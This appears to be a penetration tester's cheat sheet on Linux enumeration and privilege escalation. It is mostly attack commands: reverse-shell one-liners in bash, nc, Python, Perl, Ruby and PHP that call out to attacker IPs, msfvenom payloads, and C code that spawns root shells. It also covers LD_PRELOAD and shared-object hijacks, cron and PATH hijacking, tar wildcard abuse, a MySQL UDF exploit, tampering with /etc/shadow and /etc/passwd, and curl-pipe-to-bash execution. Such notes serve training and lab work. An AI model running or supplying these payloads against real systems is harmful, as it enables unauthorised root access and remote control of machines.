* [WindowsCmdKungFu](/07-win-privesc/windows-cmd-kungfu)
* [LinuxEnum](/06-linux-privesc/lx-enum), [WinEnum](/07-win-privesc/win-enum)
* [OSINT](/01-prep/01-osint-dorks)

## Interesting dirs

|             |                   |                      |          |
| ----------- | ----------------- | -------------------- | -------- |
| /var/backup | /var/www/classes/ | /home/bob/           | /export  |
| /var/logs   | /tmp              | /home/bob/.\*history | /backups |
| /var/mail   | /var/tmp          | /anythingweird       | /.ssh    |
|             |                   | /reports             | /private |

## Searching Linux

```
--------------------
--------------------
Linux Version
>> lsb_release -a

--------------------
--------------------
Search for File inside Multiple Directories

> find /home -name .bash_history
/home/victim15/.bash_history

--------------------
--------------------
wildcards

find -name '*db*'
find -name '*.GIF'
find -iname '*.gif'
find -iname \*.gif


--------------------
--------------------
Search for a Keyword inside multiple files:

>> find /home -name .bashrc
>> find /home -name .bashrc -exec grep password {} \;
>> find . -name .bashrc -exec grep -H password {} \;   ..show the folder too

Find > cat > grep
>> find . -name .bashrc -exec cat {} \; | grep key
>> find /home/file.txt -exec cat {}\;


--------------------
--------------------
> find . -name .zsh_history
> cat ./victim54/.zsh_history
> find . -name .zsh_history -exec cat {} \; | grep "key"

--------------------
--------------------
Grep a directory for user/pws:

grep -Ri password .
grep -Ri 'mark\|tom\|rastating\|password' * | head
-R: — Dereference-recursive
-i: — Ignore-case
head: — Display first 10 lines


--------------------
--------------------
Unusual Home Directories
> cat /etc/passwd

--------------------
--------------------
Check every profile for history 'passwd'
> find /home -name .bash_history -exec grep -A 1 '^passwd' {} \;

--------------------
--------------------
Search for Secrets in files

strings * grep /     ..to find a single /
strings * grep '\\'  ..to find a single \
strings * -n 8
strings * -e b
strings * -e l

exiftool * | grep firewall
exiftool * | grep firewall
exiftool * | grep /
exiftool * | grep '\\'


--------------------
--------------------
locate myapp
updatedb  ..if my app wasnt in the index yet
find / -name whoami
find / -name ls    ..very slow
find / -name ls &    ..spawn (jobs bg fg1)
grep root *    ..look for word 'root' in my current directory

---------------------------------------
---------------------------------------
Watch bad login attempts:
sudo tail -f /var/log/auth.log


---------------------------------------
---------------------------------------
Search for a string with 32 Digits

grep -e '[^\ ]\{32,\}' -rl /tmp/pacman/gitdir3


---------------------------------------
---------------------------------------
cat .hidden
cat 'spaces in filename'
cat data.txt | grep millionth
more myfile
file myfile

find / -user bandit
find / -user bandit 2>&1 | grep -v "Permission denied"
find / -user bandit -type f -name "pass" -print 2>/dev/null
find / -user bandit -type f -group bandit6 -size 33c -exec ls {} \;
find / -user bandit -group bandit6 -size 33c 2>&1 | grep -F -v Permission
find / -user bandit | grep -v "pass" 2>&1 | grep -v "Permission denied"
find / -user bandit -type f -print 2>/dev/null
find / -user bandit -type f "pass" -print 2>/dev/null

sort data.txt
sort data.txt | uniq -c  ..counter
sort data.txt | uniq -u  ..unique only

strings data.txt | sort
strings data.txt | grep "=="
```

## Linux Services

```
find / -name "*httpd*" 2>/dev/null

Example:
/usr/local/sbin/nhttpd
/usr/share/man/man8/nhttpd.8
/var/nostromo/logs/nhttpd.pid
/var/nostromo/logs/.nhttpd.pid.swp
/var/nostromo/conf/nhttpd.conf
```

## json obfuscated

* On screen data might be obfuscated, but there are other ways to find it!

```
http://xyz.libcurl.so/users/1
http://xyz.libcurl.so/users/1.js
http://xyz.libcurl.so/users/1.json

Framework will give you the json verson of the page like this:
>> curl http://xyz.libcurl.so/users/1 -H 'Accept: application/json'
```

## Linux SUID and Privs

```
Find all the SUID enabled binaries
What files I have Priv to use:

>> find / -perm -u=s 2>/dev/null
>> find / -perm -4000 2>/dev/null
>> find / -user root -perm -4000 -exec ls -ldb {} \;
```

## Network Checks

```
--------------------
--------------------
netstat -nap                ..routing, connections, listening
netstat -alnp | grep LIST   ..see what is listening
netstat -nr                 ..Routing tables
netstat -natu               ..Linux
netstat -na                 ..Windows

lsof -i        ..open files
ps -ef         ..sometimes password here too
arp -a
ipconfig /displaydns

sudo lsof -Pni | grep ssh
ssh is listening

--------------------
--------------------
victim monitor:
netstat -ano 1 | find ":2222" ..1:update every 1 sec
```

## Linux Unzipping

```
--------------------
--------------------
file backup.tbz.gz   .. to see what 'kind' it is
gunzip backup.tbz.gz
tar -xvjf backup.tbz
cpio -idv --no-absolute-filename < backup     ..copies to/from archives
strings backupxyz | more
cat backupxyz


--------------------
--------------------
tar -zxvf data.zip ... gzip
tar -jxvf data.zip ... bzip2

file data.zip ... ASCII
xxd -r data.zip hexdata .. Convert back to hexdata
gzip -d hexdata.gz .. decompress from gzip

file hexdata .. bzip2 compressed data, block size = 900k
mv hexdata hexdata.bz2 .. rename bz
bzip2 -d hexdata.bz2 .. unzipped

file hexdata .. POSIX tar archive (GNU)
tar -xvf hexdata .. data5.bin

file data8 .. ASCII text
cat data8

--------------------
--------------------
unzip data.zip    ..fails
7z e data.zip     ..7zip works
```

## Admin crons

* REF: [procmon](/06-linux-privesc/02-monitor-files#watch-proc-procmon)

```
crontab -l
anacron
cron.daily

> cd /etc/cron.daily
> ls 
```

## Impersonate

```
su
su victim
Once you find a password for somebody, you can 'su' to their account
And impersonate them
```

## sed tricks

* Text Cleanup
* Set every comma as a new line

```
> sed 's/,/\n/g' notes
```


# 2 Enums

## Start

```
sudo -l
crontab -l
ps auxww
uname -a
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

pspy   ..snoop processes
find / -type f -user www-data 2>/dev/null    ..files
find / -type d -user www-data 2>/dev/null    ..dirs
```

## LinEnum

* <https://github.com/rebootuser/LinEnum>
* Extracts large amount of target bits
* Could find ports listening on localhost, that might have port-knocking or pivots
* Used by IPPSec

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
cp /opt/LinEnum/LinEnum.sh .
python -m SimpleHTTPServer 80

cd /dev/shm/   ..ramdisk (data wont actually save to disk)
cd /tmp        ..optional (way i've been doing it)

curl $MyIP:8000/LinEnum.sh -t | bash       ..Easy execute and Thorough
curl $MyIP:8000/LinEnum.sh -o LinEnum.sh   ..Download

LinEnum.sh -h                         ..help
LinEnum.sh -k password -e export -t   ..keyword, export, thorough
```

## [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration)

```
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
lse.sh -h         ..help
lse.sh -l 1 -i    ..level 1.. i to not prompt-pass
lse.sh -l 2 -i    ..level 2.. print everything
```

## PsPy32

* Snoop on processes/crons without needing root permissions.
* Even finds root-crontabs
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32>
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64>

```
Copy it to the system with:
chmod +x pspy32
python -m SimpleHTTPServer 80
wget http://10.10.14.34/pspy32
> ./pspy32
> ./pspy --help
```

## Timers

* Kinda like crons
* REF: [procmon](/06-linux-privesc/02-monitor-files#watch-proc-procmon)

```
systemctl list-timers
watch -n 1 'systemctl list-timers'
```

## Tools

* Get the tools.zip from [UdemyClass](/06-linux-privesc/lx-privesc#privesc-class), and save them as a toolset

## REFS

* [FingerEnums](/02-scanning/02-enum-finger-and-ssh#enumerate-finger-users)
* [LookAround](/06-linux-privesc/04-look-around)

## Bonus Enums:

* [AutoRecon-Tib3rius](https://github.com/Tib3rius/AutoRecon)
* [linted/linuxprivchecker](https://github.com/linted/linuxprivchecker.git)
* [AlessandroZ/BeRoot](https://github.com/AlessandroZ/BeRoot)
* [pentestmonkey/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)

## SUID/SGID

```
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null
```

## Writeable

```
cd /var/www/html/webservices/monstra/
find . -writable -ls
```

## Enumeration Plan

1. Check your id, whoami
2. Linux Smart Enumeration (lse) with increasing levels
   1. lse
   2. lse -l 1
   3. lse -l 2
3. LinEnum and other scripts
4. If they are failing, run them manually
   1. Or Check other cheatsheets
   2. <https://blog.g0tmi1k.com/..linux-privilege-escalation>
5. Check common file
   1. /var/backup
   2. /var/logs
   3. /tmp
   4. /home/user/.\*history

Try easy ones first:

1. sudo, cron, suid
2. root processes, enumerate version, check exploits
3. internal ports you can forward to your-remote-machine

Harder:

1. Re-read your enums, look for oddities
2. Unusual file-systems (not ext,swap,tmpfs)
3. Strange usernames
4. Kernel exploits


# 3 PrivEsc

Every PrivEsc comes from a misconfiguration or Vulnerability

## Enumerate

* Most are found using [Enums](/06-linux-privesc/lx-enum)

```
> lse.sh -l 1 -i
> curl $MyIP:8000/LinEnum.sh | bash
```

## REF: [KernelExploits](/06-linux-privesc/lx-kernelexp) (ex: Dirty Cow)

## GTFOBins

* Easy site for finding PrivEsc
* <https://gtfobins.github.io/>​[gtfobins.github.io](https://gtfobins.github.io/) ​
* <https://github.com/mzfr/gtfo> .. GTFO tool for commandline lin/win

## sudo -l

* ALWAYS check the sudo rights to see if you can PrivEsc
* Find sudo allowed commands w/o password
* If you can execute as somebody else.. get their shell !!!
* If you can update the script, point it back
* REF: NC/Alligator

```
sudo -l
sudo myapp
sudo -u victim myapp
sudo -u victim ls -lah /home/user
sudo -u victim /bin/bash 
sudo -u victim find /home/victim/key.txt -exec cat {} \;

echo 'nc -e 10.x.x.x 4444' > ./monitor.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 >/tmp/f' > monitor.sh
chmod +x ./monitor.sh
nc -nvlp 4444
sudo ./monitor.sh


```

## Password Reuse

Configs, Backups, Docs, ssh keys, Scripts, Service ..if you find a password, [reuse ](/05-passwords-ciphers#re-use)it!!

* /user/home
* /tmp
* /var/backups
* /.ssh
* /myvpn.ovpn
* /etc/openvpn/auth.txt
* /scripts
* \~/bash.history, nano.history, mysql.history

```
> ls -a cat .*history
Passwords are often re-used for root
```

## PrivEsc Class

* [Linux PrivEsc Udemy](https://bah.udemy.com/course/linux-privilege-escalation/)
* [PrivEsc workshop VM](https://github.com/sagishahar/lpeworkshop) ...Plus: [MisConfigs](https://github.com/Tib3rius/privesc-setup)
* Or download updated from udemy-course:
* Course > Resources > .ova
* ssh user\@10.0.0.198
* user:password321
* root:password123

## Editor Escapes

* vim, ed, ne, nano, pico
* Some of these shells provide third party command execution
* Editors like “vim” provide us a well known techniques to bypass shell restrictions.
* Vim has a feature which allow us to run scripts and commands inside it.

```
--------------------
>> sudo -l
>> sudo -u victim vim

:r /home/victim/key.txt   ..to read the file over vim
:!/bin/bash               ..to spawn bash .. over vim

--------------------
sudo vi /var/test
:!/bin/bash
whoami
root

--------------------
sudo vi /var/test vi -c ':!/bin/sh' /dev/null

---------------------
vim
:!/bin/ls -l .b*

Vim will get you out of the editor and execute: ls -l .b*
Showing all /etc files with names beginning in a letter .b

vim
:set shell=/bin/sh
:shell

vim
:!/bin/sh



---------------------
ed
Simple editor with not many features that could compromise the system, but still it also has third party command execution features inside, very similar to vim.
Once inside ed we can escape the normal shell by executing
We managed to get out of lshell and execute commands we were not allowed before.

ed
!’/bin/sh’

== ==== ==
ne

Minimal and modern replacement for vi. 
As you can see inside lshell we have no permission to go back to “/” 
or any other directory above ours.
ne editor has a very interesting feature that allow us to save or load configuration preferences. We can abuse this feature to read contents in the file system. 

ne
ESC 
Main configuration menu
“Prefs” menu
“Load Prefs”
Open any file you want.. even: /etc/passwd 


--------------------
awk
If you can get 'awk' as as another user..

1. AWK Operations:
(a) Scans a file line by line
(b) Splits each input line into fields
(c) Compares input line/fields to pattern
(d) Performs action(s) on matched lines

awk '{print}' employee.txt
awk '/manager/ {print}' employee.txt 
awk '{print $1,$4}' employee.txt 
awk '{print NR,$0}' employee.txt    ..NR will show line numbers too

>> sudo -u victim awk '{print}' /home/victim/key.txt   ..to view files!
>> sudo -u victim awk 'BEGIN {system("/bin/bash")}'    ..to spawn bash!

```

## Other Escapes

* [TarBackupTricks](/06-linux-privesc/tar-backup-tricks)

## find Escape

* Find has an '-exec' option

```
---------------------
This will look for a fake file
But also execute a pipe to commands

But will only execute commands allowed to user
works for: rbash, rzsh, rksh
But not  : lshell

> find . -name test.php -exec awk 'BEGIN {system("cd /root; ls")}' \;

---------------------
find copy command to get root-shell

> sudo find . -exec /bin/sh \; -quit
```

## Pager Escapes

```
--------------------
less
If you can get 'less' as as another user..
You can read files...
>> sudo -l
>> sudo -u victim less /home/victim/key.txt
!/bin/bash     ..to spawn bash .. out of less !!!


--------------------
more

Open a big file with  'less' or 'more' to get paging
Then try and break out with a shell command:
>> less .bashrc
!'sh'
$  ... win!!!

--------------------
man
we can use man too, b/c it utilizes less/more as pager
>> man ls
!'sh'
$  ... win!!!

--------------------
pinfo
>> pinfo ls
!  .. will let us run commands!
! ls /etc
! nc -h
! nc 192.168.0.21 5000 -e /bin/bash

And listen on host with:
nc -lvp 5000


```

## nc escape

```
nc
“Network Swiss Army Knife”
Creative use of nc pipes a session to host

rm -f /tmp/f; 
mkfifo /tmp/f; 
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 192.168.0.21 5000 > /tmp/f”

echo 'nc -e 10.x.x.x 4444' > ./monitor.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.x.x.x 4444 >/tmp/f' > monitor.sh
chmod +x ./monitor.sh
nc -nvlp 4444
sudo ./monitor.sh
Connect!

1 force delete /tmp/f
2. fifo is similiar to a pipe, used by multiple procs for read/write
3. Opens fifo
...Send contents to interactive shell
...Discards errors
...Pipe results as rev shell to nc\remote 
...(victim is listening for a shell)
...(connect with host, and get a shell)

This kind of reverse shell technique will only work...
if the restricted shell allows redirect and escape characters.
```

## chown/chmod

* An over-powered-hack of root, but works!

```
sudo -l
(root) NOPASSWD: /bin/chmod
(root) NOPASSWD: /bin/chown

sudo chmod -R 755 /root
cd /root
cat root.txt

sudo chown root:myuser /root/root.txt
cat /root/root.txt
```

## nmap escape

```
sudo -l
(root) NOPASSWD: /usr/bin/nmap

sudo nmap --interactive
nmap> !sh
```

## tmux escape

* Found an active tmux session owned by root?
* valentineHTB - Was this left wide open to share with devs?

```
/usr/bin/tmux -S /.devs/dev_sess     ..Found by: .bash_history & LinEnum.sh

> tmux -S /.devs/dev_sess            ..Jump right in!
```

## Console Browsers

* links, lynx, elinks

```
----------------
links
open website like google.com (since it has a text-box)
'ESC' to get config menu
File > OS Shell

----------------
lynx .. to google.com
'o' for options
change 'Editor' path to /usr/bin/vim
Accept changes
google.com > cursor to search-box
'e' to edit content (as we just setup)
vim will now load
:!/bin/sh  ..to try and escape!!

Shortcut:
>> lynx --editor=/usr/bin/vim www.google.com

----------------
elinks
Set the Editor to use vim
export EDITOR=/usr/bin/vim
google.com (w/text box)
Cursor to text-box > ENTER and F4
vim will open!!
:!/bin/sh  ..to try and escape!!

----------------
mutt
mutt is a Linux console email reader
>> mutt
!       .. for a shell command
/bin/sh .. to escape
```

## Python read file

```
> sudo -u victim python

-----------------------------
> import os
> print os.system('uname')
> print os.system('cat \home\victim\key.txt')
> print(open('/home/victim/key.txt').read())

-----------------------------
> from subprocess import call
> call(['cat','/home/victim/key.txt'])
```

## Python rootbash

* REF: [ReverseShell](/03-getting-in/03-reverseshell-php)

```
#!/usr/bin/env python
import os
import sys
try:
    #os.system('/usr/bin/touch /tmp/hello')            ..test
    #os.system('bash -i /dev/tcp/$MyIP/4444 0>&1')     ..reverse
    #os.system('chmod 4755 /bin/bash')                 ..bash
    os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash')
                                                       ..rootbash
except:
     sys.exit()
```

## Programming Escapes

```
------------------
awk 'BEGIN {system("/bin/sh")}'

expect
.. spawn sh
.. sh

expect -c 'spash sh' -i
.. sh

------------------
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


------------------
ruby (interactive ruby shell)

>> irb
irb: exec '/bin/sh'

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

------------------
perl -e 'system("sh -i");'  ..system method
perl -e 'exec("sh -i");'    ..exec method
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


------------------
php -a   ..interactive
php> exec("sh -i");

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
if you have trouble using 3, try file-descriptor 4,5,6,etc
```

## Sudo Error Read

* If you can sudo apache2
* You might be able to make it read something private
* Even if it errors, you may still read the file!

```
> sudo -l
/usr/sbin/apache2

> sudo apache2 -f /etc/shadow
Error, but reads anyway!!
```

## Perms

* owner:group:world
* user:groups:directories
  * /etc/passwd
  * /etc/shadow
* root UID:0
* /etc/group
  * primary:secondary groups
  * primary by default is 'same' as username
* read:write:execute
* dir perms:
  * execute:to allow enter
  * read:list contents
  * write:files and sub can be created

### Special perms

* setuid bit (suid) - exec as file owner
* setgid bit (sgid) - file exec w/priv of group
  * or: folder files created within get privs of dir-grp

### View perms

> ls -l /bin/date\
> -rwx r-x r-x

### Users have 3 ids

real:effective:saved\
read: who they actually are\
efct: whoami will reveal\
savd: suid can temp switch back-forth

```
id ..print id/gp of user 
cat /proc/$$/status | grep "[UG]id"
```

## Spawn a Root Shell

* copy /bin/bash
* rename to rootbash owned by root user, with SUID bit set
* rootbash -p

## Root Shell: Bash

* sudo -l
* If you find something to update/execute as root
* Tweak it to give you a quick shell:

```
#!/usr/bin/bash
su
```

## Copy Bash

* A few years ago, you could exploit this configuration issue by copying a shell
* (bash a long time ago and ksh more recently)
* \[Un]fortunately most shells will now prevent this attack.

```
--------------------
> sudo -u victim cp /bin/bash /tmp/foo
> sudo -u victim chmod +xs /tmp/foo

.. heres a workaround:

--------------------
sudo: cp and chmod

Create the 'cat key' with vi
Compile it, copy it with sudo (so it will be owned by victim)
Once you copied it, you should be able to 
set the setuid and setgid flags on it using:

>> vi /tmp/catch.c
int main(void)
{system("cat /home/victim/key.txt");}

>> gcc catch.c -o catch
>> sudo -u victim chmod +xs catch  .. not permitted
>> sudo -u victim cp catch ./catch2
>> sudo -u victim chmod +xs catch2
>> catch2
```

## Root Shell: C

root process executes another process\
C code to compile that will spawn a bash-root-shell

```
int main() { 
    setuid(0);
    system("/bin/bash -p");
}
> gcc -o name filename.c
```

## Root Shell: SUID

REF: [Crontab PATH](#crontab-path)

```
-----------------------
> vim /home/user/overwrite.sh
> chmod +x /home/user/overwrite.sh

-----------------------
#!/bin/bash
cp /bin/bash /tmp/rootbash   #new bash
chmod +s /tmp/rootbash       #setuid bit for root!

-----------------------
> watch -n 1 ls -l /tmp     ..watch new bash appear
> /tmp/rootbash -p          ..root!
```

## rootbash

* Ref: NinevehHTB, [checkroot](#chkrootkit)

```
echo -e '#!/bin/bash' > /tmp/update > /tmp/update
echo -e 'cp /bin/bash /tmp/rootbash' >> /tmp/update
echo -e 'chmod +s /tmp/rootbash' >> /tmp/update
chmod +x /tmp/update
./rootbash -p   ...after created! got root!
```

## Root Shell: service

REF: [Path Environment Variables](#path-environment-variable-service)

```
vim service.c

-------------------------
int main() {
    setuid(0);
    system("/bin/bash -p");
}

-------------------------
gcc -o service service.c
```

## Root Shell: function

REF: [Abusing Old Bash](#abusing-old-bash)

```
/bin/sh --version   ..< 4.2-048

function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
```

## Root Shell: SO

REF: [Shared Object Injection](#shared-object-injection)

```
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
   setuid(0);
   system("/bin/bash -p");
}
```

## [Reverse Shells](/03-getting-in/03-reverseshell-php)

#### Reverse Shell Generator: Suggestion Tool

* <https://github.com/mthbernardes/rsg>
* Catch with netcat listener

#### More Rev Shells:

* <http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html>
* <http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

## Reverse Shell: msfvenom

```
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.51.1 LPORT=53 -f elf > shell.elf 
Catch with netcat or MSF multi-handler
```

## Reverse Shell: perl

```
sudo -l ../usr/bin/perl
sudo perl -e 'use Socket;$i="10.10.14.52";$p=4646;socket\(S,PF\_INET,SOCK\_STREAM,getprotobyname\("tcp"\)\);if\(connect\(S,sockaddr\_in\($p,inet\_aton\($i\)\)\)\){open\(STDIN,"&gt;&S"\);open\(STDOUT,"&gt;&S"\);open\(STDERR,"&gt;&S"\);exec\("/bin/sh -i"\);};'
nc -nvlp 4646 whoami root!
```

##

## Service Exploits

* Find apps running with root:
* Get the Version
* Search Google, searchsploit, github, exploitdb

```
ps aux | grep "^root"

myapp --version
myapp -v
dpkg -l | grep myapp
rpm -qa | grep myapp
```

## MySql

* [1518 User-Defined Functions (UDF) Dynamic Library To allow execute system-commands](https://www.exploit-db.com/exploits/1518)

```
lse-sh -l 1 -i
Found mysl running as root
Can we connect without password? Yes!

mysqld --version   ..v5.1.73

dl exploit code: 
> vim raptor_udf2.c   ..view instructions
> gcc -g -c raptor udf2.c -fPIC  ..for 64bit
> gcc -g -shared ... creates a shared-object for exploit

Connect:
mysql -u root -p
create table ...
insert ...
select dumpfile...
create function...
select * from mysql.func;
select do_system...id/in/out/chown/etc
select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
exit
/tmp/rootbash -p
id  ..root!
win!!
```

## Port Forward Localhost

* Setting a service on localhost does not make it secure!
* We can port-forward our no-password-mysql over to my kali
* Send target localhost:3306 connection over to kali:4444

```
VulnMachine:
> netstat -nl  ..3306 mysql listening on localhost-only
> ssh -R 4444:127.0.0.1:3306 root@192.168.1.26(kali)

Kali:
> mysql -u root -h 127.0.0.1 -P 4444
> select @@hostname  ..debian!!
```

## shadow

* If we can read - then we can crack
* If we can write - then we can update

```
--------------------------
Lab
> lse.sh -i   ..found shadow is readable/writeable

--------------------------
Readable:
> ls -l /etc/shadow
rw- r-- rw-
$6$ ..sha512

Copy hash to local and crack
> john --format=sha512crypt --wordlist=rockyou.txt hash.txt
password123
> su
whoami ..root!

--------------------------
Writeable:
> cp /etc/shadow /home/user/shadowbackup
> mkpasswd -m sha-512 newpassword  ..create a new hash
> vim /etc/shadow  ..update root hash
su  ..newpassword
id  ..root!!
```

## passwd

* /etc/passwd - used to have hashes for backward-compatibility
* If 2nd field is hash it will take precedence over hash in shadow
* Writeable: We can update to a known hash in passwd, or delete it

```
--------------------------
Writeable:
> lse.sh -l 1 -i   ..passwd writeable
> ls -l /etc/passwd
rw- r-- rw-

Try deleting the x to create 'no password'
> root:x:0:0:root:/root:....
> root::0:0:root:/root:....

Set a new pass:
> openssl passwd "password" ..a new hash to use
dRCtCEMlsFRnA2  
> vim /etc/passwd
root:dRCtCEMlsFRnA2:0:0:root:/root:...
su
password
id ..root!

--------------------------
Appendable:
Add new user with UID:0 
> vim /etc/passwd
> newroot:dRCtCEMlsFRnA2:0:0:root:/root:...
su newroot
id ..root!
```

## Environment Variables

* Apps using sudo can inherit env-vars
* /etc/sudoers config
* env\_reset ..runs in minimal
* env env\_keep ..runs keeping with vars

### LD\_PRELOAD

Can be set to path of shared obj (.so)

1. Make a custom shared-object
2. Create init() to exec
3. Wont work if real user ID is diff from effective uid
4. sudo must be configured to preserve LD\_PRELOAD with env\_keep

```
--------------------
sudo -l
env_reset, env_keep=+LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

--------------------
vim preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
   unsetenv("LD_PRELOAD");
   setresuid(0,0,0);
   system("/bin/bash -p");
}

--------------------
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so find
root!!!
```

### LD\_LIBRARY\_PATH

Kinda like DLL Injection for Linux

```
> sudo -l
keep_env+=LD_LIBRARY_PATH

> ldd /usr/sbin/apache2
Prints shared libraries used by apache2
Found: libcrypt.so.1
```

We can create our own library instead!

```
--------------------
vim library_path.c

#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
   unsetenv("LD_LIBRARY_PATH");
   setresuid(0,0,0);
   system("/bin/bash -p");
}

--------------------
Compile this to a shared library w/same name!
> gcc -o libcrypt.so.1 -shared -fPIC library_path.c

--------------------
Set library path to current-dir
Execute the apache2, with 'our trick-library'
> sudo LD_LIBRARY_PATH=. apache2
root!!!
```

## Crons

* Cron job running with root is a good target
* If perms are misconfigured you can use it to get reverse-shell w/root privs

User crontabs:

* /var/spool/cron/
* /var/spool/cron/crontabs/

Systemwide:

* /etc/crontab

```
> lse.sh -l 1 -i   ..crontab found!!

> cat /etc/crontab
found 'overwrite.sh'
locate overwrite.sh

> ls -l /user/local/bin/overwrite.sh
writeable!!
```

```
Update the script
> bash -i >& /dev/tcp/192.168.1.26/53 0>&1

listener:
> nc -nvlp 53
When job kicks off, you will connect as root!
```

## Cron Script (Python)

* Found a scheduled job that runs as root, and you can edit the file?

```
-------------
find / -user root -writable -type f -not -path "/proc/*"  2>/dev/null
/opt/tmp.py   ..job runs with root

-------------
vim script.py           ..Prep this locally
#!/usr/bin/env python
import os
import sys
try:
    os.system('nc 10.x.x.x 5555')
    os.system('nc -e /bin/bash 10.x.x.x 5555')
    os.system('bash -i >& /dev/tcp/10.x.x.x/5555 0>&1')
    os.system('cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash')
except:
     sys.exit()

-------------
python -m SimpleHTTPServer 80                     ..share it
curl http://10.x.x.x:80/script.py -o /opt/tmp.py  ..d/l and overwrite

-------------
nc -nvlp 5555    ..listen and wait for execution
whoami           ..root
```

## Crontab PATH

* Write to path in cron job
* We cant update the cron, but we might be able to trick it.
  * If it is not using absolute path
  * If the path is writeable
* Default: /usr/bin:/bin
* Example: /home/user .. is in path and writeable

```
-------------------------
> lse.sh -l 1 -i    ..found writeable!
> cat /etc/crontab
PATH=/home/user:/usr/local/sbin:/usr/local/bin
* * * * * root overwrite.sh

Woops, Not absolute path!
First in path: /home/user
It is writeable

-------------------------
> vim /home/user/overwrite.sh
> chmod +x /home/user/overwrite.sh

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash

> watch -n 1 ls -l /tmp  ..watch new bash appear

> /tmp/rootbash -p
root!!
```

## Wildcard tar touch checkpoint

* Using \* in a command shell will perform filename expansion aka: "Globbing"
* Space-separated list of file/dir names in curr dir
* **touch** can create a **checkpoint** that will execute
* **tar** is using \* and will run the checkpoint action
* [gtfobins/tar](https://gtfobins.github.io/gtfobins/tar)
* [TarBackups](/06-linux-privesc/tar-backup-tricks)

```
-------------------------
Demo:
echo *
ls *
touch ./-l
ls *

--help
--option=key=value

-------------------------
Make a checkpoint action that executes our rev-shell
This works b/c of the wildcard in the tar command

cat /etc/crontab
* * * * * root /usr/local/bin/compress.sh

-------------------------
cat /usr/local/bin/compress.sh

#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
```

**tar** is using \* and we can exploit this!

```
-------------------------
Plant our exploit:

Reverse shell binary
> msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf -o shell.elf

Target home dir:
copied binary to home dir
shell.elf

-------------------------
Create checkpoint for every file processed and Define Action
touch ./--checkpoint=1
touch ./ checkpoint action=exec=shell.elf

-------------------------
local:
nc -nvlp 53
root!!
```

## SUID/SGID

* SUID files executed with owner privs
* SGID files executed with group privs
* Apps might add SUID files
* Search with **searchsploit**, **google**, **github**

```
--------------------
ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54192 Nov 18 2015 /usr/bin/passwd
   |
  setuid bit .. so that you can run passwd as root (to change your pw)
  
  
--------------------
Find Uncommon setuid binary
> lse.sh -i

Search SUID/SGID files:
> find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
> find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

/usr/sbin/exim-4.84-3 --version
searchsploit exim 4.84-3

Copy exploit '39535.sh' to target
./39535.sh
error '/bin/sh^M' bad interpreter: No such file or directory
problem: Windows New Line Character

sed to fix:
sed -i -e "s/^M//" 39535.sh
./39535.sh
root!
```

## Perl

* Note: backticks keep the priority last.. so you can sudo first!

```
> sudo -u victim perl -e 'print `cat /home/victim/key.txt`'

Open Bash and copy the Key:
> sudo -u victim perl -e '`/bin/bash`'   ..bash is limited, no results!
> cp /home/victim/key.txt /tmp/.key      ..copy the key
> chmod 777 /tmp/.key                    ..access to all
> exit
> cat /tmp/.key   !!!
```

## Ruby

```
> sudo -u victim ruby -e 'puts `uname`'
> sudo -u victim ruby -e 'puts `cat /home/victim/key.txt`'

Ruby commandline (irb):
>> sudo -u victim ruby -e 'require "irb"; IRB.start(__FILE__)'
irb>> puts `cat /home/victim/key.txt`
```

## Node

* If you can get 'node' as as another user..
* Execute this Javascript using node:

```
sudo -u victim node -e '

	var exec = require("child_process").exec;
	exec("cat /home/victim/key.txt", function (error, stdOut, stdErr) {
	console.log(stdOut);
	});
'
```

